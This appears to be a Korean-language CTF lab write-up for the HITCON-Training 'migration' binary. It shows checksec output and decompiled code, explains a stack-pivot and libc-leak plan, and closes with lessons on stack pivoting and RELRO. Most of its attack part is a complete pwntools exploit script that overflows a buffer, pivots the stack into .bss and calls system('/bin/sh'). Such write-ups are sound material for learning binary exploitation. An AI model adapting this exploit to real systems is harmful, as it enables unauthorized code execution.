문제


migration 바이너리의 checksec 결과는 다음과 같다.

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

file 명령어의 결과는 다음과 같다.

migration: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped

바이너리 코드

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-28h]

  if ( count != 1337 )
    exit(1);
  ++count;
  setvbuf(_bss_start, 0, 2, 0);
  puts("Try your best :");
  return read(0, &buf, 0x40u);
}

바이너리는 매우 간단한데, count 값 검증 이후에 read로 입력을 받고 종료한다. read 함수를 통해서 bof를 발생시킬 수 있는데 여기서 두 가지 문제점이 있다.

  1. read로 64byte 밖에 받지 않는다. (buf가 ebp-0x28에 위치하기 때문에 payload로 구성할 수 있는 공간이 매우 작다.)

  2. libc_leak을 한 이후에 stack에 입력을 받아서 ROP를 이어가야 하는데 ASLR이 걸려있기 때문에 stack 주소를 알 수 없다.

=> 2번 문제를 해결 하기 위해서 stack pivoting이 필요하다.

exploit 방법

  1. sfp에 bss_section의 주소를 넣어둔다.
  2. puts 함수를 통해서 setvbuf의 got 값을 알아낸다. 이를 통해서 libc의 base address를 계산할 수 있다.
  3. main에서 read 함수를 호출하는 곳으로 ret한다. read 함수는 ebp-0x28에 입력을 받기 때문에 bss_section에 write를 할 수 있다. 여기에 44byte의 쓰레기 값과 system 함수 및 “/bin/sh” 주소를 넣어주면 read 이후의 leave ret을 통해서 system 함수 호출이 가능하다.

풀이


#!/usr/bin/python

from pwn import *
import time

file_path="/home/sungyun/HITCON-Training/LAB/lab6/migration"
libc=ELF("/lib/i386-linux-gnu/libc.so.6")


p=process(file_path)
p.recvuntil("best :\n")


puts=0x8048390
setvbuf_got=0x8049ffc
pr=0x0804836d
main_read=0x080484f2

bss_sec=0x804a800

#stage 1
pay="A"*40
pay+=p32(bss_sec)
pay+=p32(puts)
pay+=p32(pr)
pay+=p32(setvbuf_got)
pay+=p32(main_read)

p.send(pay)

setvbuf_addr=u32(p.recv(4))
p.recv()

libc_base=setvbuf_addr-libc.symbols['setvbuf']
system=libc_base+libc.symbols['system']
sh=libc_base+list(libc.search('/bin/sh\x00'))[0]

#stage2
pay2="A"*44
pay2+=p32(system)
pay2+="BBBB"
pay2+=p32(sh)

p.send(pay2)

p.interactive()

알게 된 것


  1. stack pivoting 내가 원하는 곳으로 esp (ebp)를 옮겨서 stack 구성을 내 마음대로 할 수 있게 하는 것

  2. puts 함수는 string의 마지막에 “\n”을 추가해서 출력한다. 근데 이 “\n”을 제대로 recv해놓지 않으면 내부적으로 뭔가가 꼬여서 이후에 내가 원하는 내용을 recv하지 못한다. 따라서 출력되는 내용을 그때 그때 recv 해놓고 처리해 놓아야 한다.!!!

  3. puts, printf와 같은 함수는 stack을 매우 많이 써서 stack pivoting을 한 영역의 앞 부분이 쓸 수 없는 공간이면 위의 함수가 제대로 작동하지 않을 수 있다. (즉, push esp나 sub esp,X 명령어를 실행하면서 계속 esp값이 감소하는데 낮은 주소 영역이 writable 하지 않은 공간이면 함수 호출을 진행하다가 터진다.)

  4. No relro => dynamic section + got 쓰기 권한 있음
    Partial relro => got 쓰기 권한 있음
    Full relro => 두 영역에 쓰기 권한 없음

c.f .dynamic section은 dtor,init fini pltgot 등으로 구성되어 있다.